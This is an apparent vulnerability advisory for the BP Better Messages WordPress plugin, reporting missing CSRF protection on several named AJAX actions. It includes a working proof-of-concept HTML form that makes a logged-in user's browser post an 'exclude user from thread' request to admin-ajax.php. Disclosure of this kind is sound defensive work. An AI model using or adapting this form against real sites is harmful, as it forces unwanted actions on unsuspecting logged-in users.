BP Better Messages < 1.9.9.41 - Multiple CSRF

2021-10-0400:00:00

Brandon Roldan

253

cross-site request forgery

wordpress plugin

security exploit

EPSS

0.001

Percentile

47.5%

JSON

The plugin does not check for CSRF in multiple of its AJAX actions: bp_better_messages_leave_chat, bp_better_messages_join_chat, bp_messages_leave_thread, bp_messages_mute_thread, bp_messages_unmute_thread, bp_better_messages_add_user_to_thread, bp_better_messages_exclude_user_from_thread. This could allow attackers to make logged in users do unwanted actions

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="bp&#95;better&#95;messages&#95;exclude&#95;user&#95;from&#95;thread" />
      <input type="hidden" name="user&#95;id" value="4" />
      <input type="hidden" name="thread&#95;id" value="3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>